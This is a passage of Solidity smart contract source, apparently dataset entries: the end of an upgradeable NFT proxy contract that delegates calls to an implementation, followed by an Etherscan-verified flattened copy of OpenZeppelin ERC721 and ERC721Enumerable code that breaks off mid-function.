sstore(_IMPLEMENTATION_SLOT, IMPL)
}
}
// Delegates the current call to IMPL
// This function does not return to its internall call site, it will return directly to the external caller.
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.2.0/contracts/proxy/Proxy.sol
function _delegate() private {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), IMPL, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
// Delegate mintToken to IMPL, but only if token is being minted to caller.
function mintToken(address owner, string calldata metadataURI) external returns (uint256) {
require(owner == msg.sender, "Can only mint to self");
_delegate();
}
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
// Handle supportsInterface in this contract without delegation,
// so that it can work without requiring interfaceId values to be in contract storage.
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
return interfaceId == _INTERFACE_ID_ERC165
|| interfaceId == _INTERFACE_ID_ERC721
|| interfaceId == _INTERFACE_ID_ERC721_METADATA
|| interfaceId == _INTERFACE_ID_ERC721_ENUMERABLE;
}
// Delegate all other calls to IMPL
fallback() external {
_delegate();
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-12-08
*/
// ****
// ***.,,,*#
// #,,*..,,,**
// ,,...,,,*******
// .,,...,,,*********(
// . ,,..,,,************
// , /,,*...,,,,,,,******& *(*,* , %
// .,......*******,...,,,/////&*..,***/ &(. %...*..,
// ........,,,,*/******,,,**..********(*** (#/ (/. (/...(
// .......&,,,,,,,***///*,///***,,****.*////****%((,(//&/((
// ......%#((( ,,,,,,,/**////**//////**////*,,//*********#,((//
// ..... %//## *, ,/////////**************************((( /
// ./.....& /# /% /,,&, /****///*****/////**////*///*******(((((#
// %% %#((%%.,,, &/// /,, %/////****#,&***/////***///**********(((.,( //
// &% &&%%&/,,,,,,,,,,*%,,,,/// ..&&*...%(****////**/********((((,(//..,
// %%%%%/(% /,,,,,,,,,,,,#,&...., *... ((*///**************** ,(/. (/...
// &&%&&& //,,,,,,,,,,,*,,,/#*/&%%%(/ ///,*,,,,//******///, .,*,. (.... ,
// #..............,,,,,,&&%/*(# ,,,,,,,***/***/////, / **
// ..................../##( %*,*****/////(((,,
// ..............,,,,,*****////((((##*,
// %.,,,,,****////(((((###*,*
// (##(//(((###(%
// ,, ...,,**%.(**/////**/###/(,////////(
// ,./.,,,,,,* ..***////*/// .,%//////((((#//
// ,, ,,.,,,,****** *....../&**/////**////####/
// #,, ..# ( . # & ************///////,*///####(
// ,. ....,, . #,(* # ******,,**((((((///,,*////##
// ,. .......,,,,,,,,,,* &*****,,.****((#%(/ //..,*///((
// ........,,, #,,,,,,,**********,..**((((((((/ //, ..,*/((#
// *...,,,,,,////(###*,,**/*****,***((((((((((( .,**,....,
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
